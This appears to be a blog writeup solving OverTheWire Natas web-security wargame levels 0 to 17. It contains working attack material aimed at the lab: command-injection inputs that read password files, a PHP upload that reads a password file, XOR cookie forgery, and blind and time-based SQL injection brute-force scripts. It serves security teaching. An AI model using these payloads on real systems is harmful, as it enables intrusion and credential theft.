OverTheWire – Natas – Level 0-20 – Writeup — Updated

This blogpost contains how I solved the challenges of the OverTheWire Natas category, this category is related to web attacks. Each time I complete the a challenge I will update this blogpost until I complete 100% of the natas category. The purpose of this wargame is to solve the current level’s problem to find the password for the next level.

NOTE:

Before getting to the actual writeups, I’ve appended all the passwords with “*” to not give away the actual passwords.

Level 0 Level 4 Level 8 Level 12 Level 16 Level 20 Level 24
Level 1 Level 5 Level 9 Level 13 Level 17 Level 21 Level 25
Level 2 Level 6 Level 10 Level 14 Level 18 Level 22 Level 26
Level 3 Level 7 Level 11 Level 15 Level 19 Level 23 Level 27

Level 0

You are given the username and password for this level. When I login to the webpage I am given the following hint.


You can find the password for the next level on this page.

Straight away I look at the HTML source code this page and find the password.

</pre>
<h1>natas0</h1>
<div id="<a><br />content</a>"> You can find the password for the next level on this page.

<!--The password for natas1 is ******************************** --></div>
<pre>

Level 1

This level is similar to the previous level, I am given the following hint.


You can find the password for the next level on this page, but rightclicking has been blocked!

Since I solved the last level using the keystroke “ctrl + u”, so let’s try it again!


</pre>
<h1>natas1</h1>
<div id="<a><br />content</a>">

You can find the password for the

next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is ******************************** --></div>
<pre>

Level 2

A new hint for this site.


There is nothing on this page

So nothing this on this page, well let’s see what we can get from the html source code anyways.


</pre>
<h1>natas2</h1>
<div id="<a><br />content</a>">

There is nothing on this page

<img alt="" src="<a href=" />files/pixel.png"></div>
<pre>

So there’s a directory called “/files”, lets have a look at it’s contents, I see two files in the directory listing. One of these files was called “users.txt” when looking at the contents of the file I find the username and password for natas3.

Level 3

On natas level 3 I am given the same hint as the previous level.


There is nothing on this page

Having a look at the source reveals a big hint.


</pre>
<h1>natas3</h1>
<div id="<a><br />content</a>">

There is nothing on this page

<!-- No more information leaks!! Not even Google will find it this time... --></div>
<pre>

So when Google tries to index the page, it can’t because it cannot be found, this gives me the knowledge that the “robots.txt” file exists, looking at the file I see that there is a directory called “/s3cr3t/”, time to have a look at what’s in this directory. Bingo! another “users.txt” file containing the username and password for the next level.

Level 4

The level 4 challenge was interesting, when I logged in I got the following message displayed on the screen.


Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Which at first I thought I must of made a mistake, but a quick check on the URL told me I was perfectly fine and I had to access natas4 as natas5. So what I had to do is only user’s coming from natas5.natas.labs.overthewire.org can view the page, so time to modify some packets, using the firefox plugin tamper data I begin listening for packets to tamper with and I refreshed the page, as soon as I refresh the page I get the packet for the refreshed paged, at this point I stop listening for packets and begin to tamper with this packet. In this packet all I did was modify the referer field from ‘natas4.natas.labs.overthewire.org’ to ‘natas5.natas.labs.overthewire.org’ and I’m allow to see the page and get the password.

Level 5

With this challenge when I logged in I get the following message.


Access disallowed. You are not logged in

The html source code didn’t reveal anything useful either, this is when I looked at the cookies for this page and see there is a called loggedin with a value of 0 for it’s contents. So instantly I decided this was probably a true/false kind of concept where false = 0 and true = 1, I modified the content field of the cookie to 1 and refreshed the page and got an access granted message.

Level 6

Level 6 has some sort of user input box which seems to be processed by the server, before doing anything else I have a look at the html source code for the page.


</pre>
<h1>natas6</h1>
<div id="content">
<?

include "includes/secret.inc";

if(array_key_exists("submit", $_POST)) {

if($secret == $_POST['secret']) {

print "Access granted. The password for natas7 is ";

} else {

print "Wrong secret";

}

}

?>
<form method="post">
Input secret: <input type="text" name="secret" />

<input type="submit" name="submit" /></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

From the source code I saw that there was a file called secret.inc in the includes directory where was being passed into the php code, browsing to this file I get a blank page but when I look at the source code for the “includes/secret.txt” file I saw this php code.


<? $secret = "FOEIUWGHFEEUHOFUOIU"; ?>

I took this string and passed it into the query and was given the access to natas7 password.

Level 7

When I logged in I was given a page with two links (home and about), before doing anything I checked the html source code.


</pre>
<h1>natas7</h1>
<div id="<a><br />content</a>">

<a href="<a href=">index.php?page=home</a>">Home

<a href="<a href=">index.php?page=about</a>">About

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --></div>
<pre>

This was a simple problem, it was a type of local file inclusion attack, all I did was the following and found the key for natas8.


http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

Level 8

This challenge was very similar to the previous challenge, having a look at the source for the page.


</pre>
<h1>natas8</h1>
<div id="content">
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {

return bin2hex(strrev(base64_encode($secret)));

}

if(array_key_exists("submit", $_POST)) {

if(encodeSecret($_POST['secret']) == $encodedSecret) {

print "Access granted. The password for natas9 is ";

} else {

print "Wrong secret";

}

}

?>
<form method="post">
Input secret: <input type="text" name="secret" />

<input type="submit" name="submit" /></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

So with this challenge the difference is there is a hardcore encrypted string which is passed through several functions to decrypted the string and then is compared to the string the user enters and if there is a match access is granted. So my thought process was to reverse the encryption process to get the original plaintext string.

My solution was very simple use the base64_decode function to reverse the base64_encode function and use hex2bin function to reverse the bin2hex function, as a result this was my following php script. Also note I reversed the order of the functions.


#!/usr/bin/php

<!--?php // This php code needs to decrypt the following proccess. // bin2hex(strrev(base64_encode($secret))) // The string to decrypt is '3d3d516343746d4d6d6c315669563362'. echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362'))); ?-->

This php script when executed gave me the following output “oubWYf2kBq”, when entered into the input box and submitted I was granted access.

Level 9

For this challenge I was given a search box which search a file called dictionary.txt for words, looking at the source code I was able to identify again this is an unsanitised php script vulnerability.


</pre>
<h1>natas9</h1>
<div id="content"><form>
Find words containing: <input type="text" name="needle" /><input type="submit" name="submit" value="Search" />

</form>
Output:
<pre>
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

So since I already know where the passwords are stored for natas, /etc/natas_webpass/, because I was told when I first started the natas challenge I used the following input to find the password “; cat /etc/natas_webpass/natas10”.

Level 10


</pre>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters

<form>
Find words containing: <input type="text" name="needle" /><input type="submit" name="submit" value="Search" />

</form>
Output:
<pre>
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } } ?></pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

This challenge is the exact same as the previous challenge except the designers have implemented some filters for “;” and “&”. Damn! I can’t use the “;” to terminate the string like I did in the previous question and then pass the script another command to execute. Doing some looking up I found I can use wildcard (*) keywords for grep to look up multiple files, so I came up with the following file “.* /etc/natas_webpass/natas11”.

Level 11

When I logged in I was greeted with a message “Cookies are protected with XOR encryption”, so before looking at the contents of the cookie I looked at the source code behind this page.


<? $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {

$key = '';

$text = $in;

$outText = '';

// Iterate through each character

for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } } saveData($data); ?></pre>
<h1>natas11</h1>
<div id="content">

Cookies are protected with XOR encryption

<?

if($data["showpassword"] == "yes") {

print "The password for natas12 is
";

}

?>
<form>
Background color: <input type="text" name="bgcolor" value="<?=$data['bgcolor']?>" />

<input type="submit" value="Set color" /></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

I had a look at the cookies which were loaded into my browser from the site, I noticed that there was a cookie called “data” and the content of the cookie was as follows.


content:

ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=

I see the cookie contains the following ‘”showpassword”=>”no”, “bgcolor”=>”#ffffff”);’ which is passed through the php code to produce the encrypted XOR string, and the encrypted string is stored in the cookie. Since XOR encryption is easy to decrypt if any of the following combinations of plaintext, key or ciphertext is known.

P ^ K = C

C ^ K = P

P ^ C = K

Since I know the plaintext (‘”showpassword”=>”no”, “bgcolor”=>”#ffffff”);’) and the ciphertext (‘ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=’) but what I don’t know is the key used during the encryption process to encrypt the plaintext into the ciphertext. If I was able to find the key used I could then encrypt my own plaintext of (‘”showpassword”=>”yes”, “bgcolor”=>”#ffffff”);’) which I would replace the current ciphertext in cookie with.

To find the key used in the XOR encryption process I need to modify the xor_encrypt php function, by replacing the $defaultdata varible with the ciphertext and the $key varible with “array( “showpassword”=>”no”, “bgcolor”=>”#ffffff”);” passed through the json_encode function. Using the belong php code I was able to decrypt the ciphertext from the cookie with the plaintext to learn the key used during the XOR encryption process.


#!/usr/bin/php

<? $cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'); function xor_encrypt($in){ $text = $in; $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));

$outText = '';

// Iterate through each character

for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } print xor_encrypt($cookie); ?>

 


php natas_11.php

qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

The above output shows the key used in the XOR encryption process to be ‘qw8J’, it is repeated multiple times because the plaintext is longer then the key used so the key is repeated until the entire plaintext is encrypted.

So now I have identified the key used to XOR encrypt the plaintext “( “showpassword”=>”no”, “bgcolor”=>”#ffffff”)”, now it is time to modify this plaintext to be “( “showpassword”=>”yes”, “bgcolor”=>”#ffffff”)” which when XOR encrypted and the ciphertext replaces the ciphertext in the cookie will allow the password to be displayed. Again taking the original xor_encrypt function from the website and replacing the ‘$key = ‘<censored>’;’ with ‘$key = “qw8J”;’.


#!/usr/bin/php

<? function xor_encrypt($in){ $text = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));

$key = "qw8J";

$outText = '';

// Iterate through each character

for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } print base64_encode(xor_encrypt()); ?>

When I ran this code I was given the base64 encoded XOR encrypted string which I will replace the current base64 string in the cookie with.


php natas_11-2.php

ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

When the original cookie was modified to have the new ciphertext string I was given the following message when I refreshed the page.


The password for natas12 is

********************************

Level 12

In this challenge we are given a file upload function where we can upload .jpeg files of no more than 1KB in size. This is a simple challenge as from looking at the source code below I can see that the is no check on the file to make sure it is actually a .jpeg file which could allow me to perform a local file inclusion attack to complete this challenge.


</pre>
<h1>natas12</h1>
<div id="content">
<?

function genRandomString() {

$length = 10;

$characters = "0123456789abcdefghijklmnopqrstuvwxyz";

$string = "";

for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {

echo "File is too big";

} else {

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

echo "The file <a href="\&quot;$target_path\&quot;">$target_path</a> has been uploaded";

} else{

echo "There was an error uploading the file, please try again!";

}

}

} else {

?>
<form action="index.php" enctype="multipart/form-data" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

Choose a JPEG to upload (max 1KB):

<input type="file" name="uploadedfile" />

<input type="submit" value="Upload File" /></form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

I will upload the following php script to open the file ‘/etc/natas_webpass/natas13’ and then to print the contents of the file to the screen.


#!/usr/bin/php

<? readfile('/etc/natas_webpass/natas13'); ?>

Now since this upload process will attempt to append .jpg to the end of the file I need to attempt to change it to .php so when I attempt to execute file it will be the correct file format. Using burpsuite to intercept the upload request to change the file format, the below output comes from burpsuite intercept.


-----------------------------14778191861028530428602161134

Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000

-----------------------------14778191861028530428602161134

Content-Disposition: form-data; name="filename"

lrn0t7ehgm.jpg

-----------------------------14778191861028530428602161134

Content-Disposition: form-data; name="uploadedfile"; filename="natas13.php"

Content-Type: application/x-php

#!/usr/bin/php

<? readfile('/etc/natas_webpass/natas13'); ?>

-----------------------------14778191861028530428602161134--

From the above output I can see that the name of the file will be ‘lrn0t7ehgm.jpg’ I will change filetype to ‘.php’ which will be the correct file.


The file upload/lrn0t7ehgm.php has been uploaded

When the request was modified and forwarded I was given the above message. And when I opened to the php file I had just uploaded I got the following message.


#!/usr/bin/php ********************************

As a note, I did initially try to do this using the python script to read the file and print the password to the screen. I uploaded the python script successfully but when I tried to execute the python script it did not execute because it didn’t have execution permissions on the server side, which is when I switched to completing this challenge with php.


#!/usr/bin/python

f = open('/etc/natas_webpass/natas13', 'r')

print(f.read())

Level 13


</pre>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!

<?

function genRandomString() {

$length = 10;

$characters = "0123456789abcdefghijklmnopqrstuvwxyz";

$string = "";

for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {

echo "File is too big";

} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {

echo "File is not an image";

} else {

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

echo "The file <a href="\&quot;$target_path\&quot;">$target_path</a> has been uploaded";

} else{

echo "There was an error uploading the file, please try again!";

}

}

} else {

?>
<form action="index.php" enctype="multipart/form-data" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

Choose a JPEG to upload (max 1KB):

<input type="file" name="uploadedfile" />

<input type="submit" value="Upload File" /></form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

This challenge is similar to the previous level of natas12 but instead during the upload process the filetype is checked to only allow jpeg files to be upload. This is done by an else if statement which uses exif_imagetype() to check the file format. The exif_imagetype() reads the first bytes of an image and checks to see if it matches a specific signature, so this basically gives away the answer for the challenge. Since I know that exif_imagetype() checks to see if the first couple of bytes of the file match a known image signature and that I need to have a jpeg image signature at the start of my file I did a google search and found out about the file signature database. Doing a quick search of the database for jpeg files I found the gile signature of jpef files to be FF D8 FF E0. So all I did was copy the php file used in the previous level and modified the first 4 bytes of the file to match the 4 bytes above in a hex editor.


00000000 FF D8 FF E0 2F 75 73 72 2F 62 69 6E 2F 70 68 70 ..../usr/bin/php

00000010 0A 3C 3F 0A 72 65 61 64 66 69 6C 65 28 27 2F 65 .<!--?.readfile(' /e 00000020 74 63 2F 6E 61 74 61 73 5F 77 65 62 70 61 73 73 tc/natas_webpass 00000030 2F 6E 61 74 61 73 31 34 27 29 3B 0A 3F 3E 0A /natas14');.?-->.

I then uploaded the file, again intercepting the request and made sure the end file was a php file extension and executed the php script getting the below message.


ÿØÿà/usr/bin/php ********************************

Level 14

So with this challenge when I logged in I saw a login form, looking at the source code for the login form I saw straight away that this would be an SQL injection challenge.


</pre>

<h1>natas14</h1>
<div id="content">
<?

if(array_key_exists("username", $_REQUEST)) {

$link = mysql_connect('localhost', 'natas14', '');

mysql_select_db('natas14', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";

if(array_key_exists("debug", $_GET)) {

echo "Executing query: $query
";

}

if(mysql_num_rows(mysql_query($query, $link)) > 0) {

echo "Successful login! The password for natas15 is
";

} else {

echo "Access denied!
";

}

mysql_close($link);

} else {

?>
<form action="index.php" method="POST">
Username: <input type="text" name="username" />

Password: <input type="text" name="password" />

<input type="submit" value="Login" /></form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

By examining the source code I saw by using a quotiation symbol (“) I could cause a SQL error, as shown in the error below.


Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /var/www/natas/natas14/index.php on line 24 Access denied!

This error was caused because I entered quotiation symbol into the user field and not the password field as well. So do a successful SQL injection to bypass authentication I need to enter my injection code into both the username and password field. After some planning I came up with the following injection code ‘” or “1”=”1’ which fits into the SQL statement as follows.


SELECT * FROM users WHERE username=" " or "1"="1 "

The reason why this will bypass the authenication process is because I’m escaping the SQL query setup by the website designer and adding an OR statement which is 1=1 which is an always true statement, so the authenication process goes login if the input entered is a correct username and password or 1=1.


Successful login! The password for natas15 is ********************************

Level 15


</pre>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '');
mysql_select_db('natas15', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query
";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.
";
} else {
echo "This user doesn't exist.
";
}
} else {
echo "Error in query.
";
}

mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input type="text" name="username" />

<input type="submit" value="Check existence" /></form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
<pre>

From the source code for this challenge, I can see that the input from the user is checked against a database to see if it matches an entry stored in the database. Checking if the username “natas16” exists in the database, which is the username for the next level, returned the output “This user exists.”. The output from the previous I found that the user natas16 exists, next I wanted to see if the SQL statement used to check the input for an entry in the database was vulnerable to SQL injection vulnerabilities, this was done by using an quote symbol (“) which returned the output “Error in query.”.

So now I know that the username natas16 exists and the input field is vulnerbale to SQL injection, admittly I was a bit stuck at this part for sometime, until I had the idea of using an AND statement in the SQL query, an example of such test was ‘natas16″ and “1”=”1’ which checks to see if the username natas16 exists and that 1 equals 1, if both statements match I get the message “This user exists.” otherwise I get the message “This user doesn’t exist.”. So the idea I was building was a blind SQL injection style of attack where since I can see a column called “password” was created using an AND statement to check each character of the password for the username.

Using the following query ‘http://natas15.natas.labs.overthewire.org/index.php?debug&username=natas16&#8243; AND password LIKE “w%”%3B%23’ I was able to get the user exists message, I found that on the http://www.w3schools.com/sql/sql_wildcards.asp site that the % symbol can used to subsitute for more characters, so in my query it checks to see if the character is in this case “w” and then substitues the rest of the password characters. This manually checking each character would be painfully so I came up with the below python script to automate the process.

!/usr/bin/python
import httplib2
import urllib

h = httplib2.Http()
h.add_credentials('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')

baseStr = "";
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
index = 0
while index < len(char):
query = urllib.urlencode(dict(username="natas16\" AND password LIKE \"" + baseStr + char[index] + "%\" ;# "))
resp, content = h.request("http://natas15.natas.labs.overthewire.org/index.php?" + query, method="POST")
if ("This user exist" in str(content)):
baseStr += char[index];
print("New Password: " + baseStr)
index = 0
continue
index += 1

In the above script I create an array of characters I would to include in the check called “char” next in the while loop my query is uses an AND statement to add my query to the original which checks to see if password is like a character from the “char” array and subsitutes the rest of the characters for the password.

I got a string which looked almost like a correct password but the problem was there was no uppercase characters in the output string so I used added “BINARY” to my like statement which forces a binary check of the characters. So my new python script to automate the blind SQL injection was the script below.

!/usr/bin/python
import httplib2
import urllib

h = httplib2.Http()
h.add_credentials('natas15', '********************************')

baseStr = "";
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
index = 0
while index < len(char):
query = urllib.urlencode(dict(username="natas16\" AND password LIKE BINARY \"" + baseStr + char[index] + "%\" ;# "))
resp, content = h.request("http://natas15.natas.labs.overthewire.org/index.php?" + query, method="POST")
if ("This user exist" in str(content)):
baseStr += char[index];
print("New Password: " + baseStr)
index = 0
continue
index += 1

The script was able to successfully bruteforce the password for user natas16 to be “********************************”.

Level 16

<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>

Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

In the above source code looks like a combination of earlier challenges (level 9 & 10) with the concept of blind SQL injection. In this challenge there is a special character style of filter in the preg_match() function, but strangely the ($) symbol is not included in the filter. This is good because it allows us to perform bash scripting with command subsitution.

Example:
echo ls      # Prints the string “ls” to the screen.
echo $(ls)     # Prints the output from the ls command to the screen.

So the concept for this challenge seemed to be use command subsitution to perform a blind SQL injection attack on input that is being filtered. From this initial concept point I started planning my query, I found this to be very useful. http://stackoverflow.com/questions/1953544/linux-command-to-do-wild-card-matching

Outsert:
What John didn't consider is the wildcard requested by the answer. For that, use egrep, a.k.a. grep -E, and use the regex wildcard .*. Here, . is the wildcard, and * is a multiplier meaning "any number of these". So, John's example becomes:

$ string="Hello World"
$ if [[ `echo $string | egrep "Hel.*"` ]]; then echo "match"; fi

So it appears using the “grep -E” command and arguement along with the “.*”, notice that the “.*$” characters are all allowed. This lead me to deciding that the following query should produce output that would allow me to bruteforce the password for natas17.

$(grep -E ^a.* /etc/natas_webpass/natas17)hello

An explanation of this query is that the “a” is the first character being checked in the password file and the “hello” is a word that exists in the dictionary.txt file. I expected that if the first character of the password is was an “a” that the output would be “ahello”. But I found if the character wasn’t an “a” then the output would be blank. But if it was correct “hello” would be returned to the screen.

Example:
$(grep -E ^a.* /etc/natas_webpass/natas17)hello
Output:
<pre>
hello
hello's
hellos
</pre>

$(grep -E ^8.* /etc/natas_webpass/natas17)hello
Output:
<pre>
</pre>

So from here it was time to make a script which will automate the bruteforce attack, because finding the first character took a very long time using a manual approach. To begin with I refreshed myself on how HTTP headers are formed because I would need to include the authorisation information for the natas level, for this I read the RFC. http://tools.ietf.org/html/rfc2617

#!/usr/bin/python
import httplib
import urllib
import base64

h = httplib.HTTPConnection("natas16.natas.labs.overthewire.org")
headers = {}
username = "natas16"
password = "********************************"
login = base64.b64encode(username + ":" + password).replace("\n", "")
headers["Authorization"] = ("Basic " + login)

passwd = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
index = 0

while index != 32:
for c in charset:
passwd += c
query = urllib.quote_plus("$(grep -E ^" + passwd + ".* /etc/natas_webpass/natas17)hello")
h.request("POST", "/?needle=" + query + "&submit=Search", "", headers)
raw = h.getresponse()
output = raw.read()
if output.count("hello") == 0:
print("Current string is: " + passwd)
index += 1
break
else:
passwd = passwd[:-1]
h.close()
print("The password is: " + passwd)

The above python code is what I used to bruteforce the password for this level. An explanation of the code, a while loop is used to loop until it reachs 32 (this is the length of all the other natas passwords). With the while loop looping until all characters are identified, the for loop loops the program until each of the characters in the charset list. The “passwd += c” adds the next character to be tried, then the next line contains the query, we use the quote_plus class in the urllib library to encode the query string. The query string performs a grep of password file for the natas17 user, where the previously identifed characters and the current character being tested with the rest of the password string being subsituted by the wildcard symbol. The next three lines deal with the sending the request and the formatting of the response back into a method which allows us to check to see if the “hello” string is returned or not.

NOTE:
The authorisation part of the program, I first attempted to encode both the username and password in a base64 string using the following python code “base64.b4encode(“natas16:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”)” and put the output into a variable, “login = “Authorization: Basic base64output””. This method was unsuccessful for me, this blog helped me with the current authorization method. http://mozgovipc.blogspot.com.au/2012/06/python-http-basic-authentication-with.html

Current password string is: a
Current password string is: aa
Current password string is: aaa
Current password string is: aaaa
Current password string is: aaaaa
Current password string is: aaaaaa
Current password string is: aaaaaaa
Current password string is: aaaaaaaa
Current password string is: aaaaaaaaa
Current password string is: aaaaaaaaaa
Current password string is: aaaaaaaaaaa
Current password string is: aaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Current password string is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Final password is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


Level 17

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 

When I logged into this level, I was greeted with an input box and a submit button, it appears to be used to check if a specific username exists or not on the system. The above PHP code was taken from the source code, it appears to be very similar to the source code for the “level 14 -> level 15” challenge. That challenge was a brute-force error SQL injection challenge. Where a while statement cycled through a python list which would try the each of the element of the list as the password with the “%” which can be used to substitute for zero or more characters. If the element matched the letter of the password, that letter would be stored in the variable and then loop and this process would continuing until the entire password was brute-force via error SQL injection.

But what this level different from “Level 14 -> Level 15”, is that the “echo” commands are commented out. Which means unlike with the “Level 14 -> Level 15”, where if the character was in the correct position in the password for the given user there would be a message returned to the screen, this does will not occur in this current level.

However, even though we can not brute-force the password for natas18 using error-based SQL injection techniques (Because of the commented out lines). But we can still use time-based SQL injection techniques, a SQL query is sent to the server and if the query is true the server waits to response for a given amount of time and if false the server immediately responses.

I started researching this thought and I found that in my testing database that the following MYSQL query, would work. When the query was sent to the database to be processed the result would wait 5 seconds and then return the results if the query matched and if it didn’t it work respond straight away.

mysql> select * from user where username='n' and if(password="c", sleep(5), 0);
Empty set (5.00 sec)
mysql> select * from user where username='n' and if(password="d", sleep(5), 0);
Empty set (0.00 sec)

Which means the code used for the solution of “level 14 -> level 15” could be used with slight modifications for this level to include the if statement and the sleep function.

Example:
SELECT * FROM users WHERE username=”natas18″ AND if(password LIKE BINARY =”a%”, sleep(10), 0);

Along with the adding the IF statement to the middle of the query, the code needs to be modified to be able to calculate the response time of the server, eg. whether or not it truly waited 10 seconds before responding.

Original Query:-	query = urllib.urlencode(dict(username="natas16\" AND password LIKE \"" + baseStr + char[index] + "%\" ;# "))
New Query:- 		query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# "))

With the new query crafted, a system needs to be designed to calculate the time between sending the request and receiving the response back from the server. Using the time library, I can use the time() from the library and load it into a variable and then send the request and after the response is received the time() would be used again and load the result into a variable. The two variables containing the results from the time() are then subtracted from each other and then a if statement checks to see if the time lapse is equal to or greater then the sleep time.

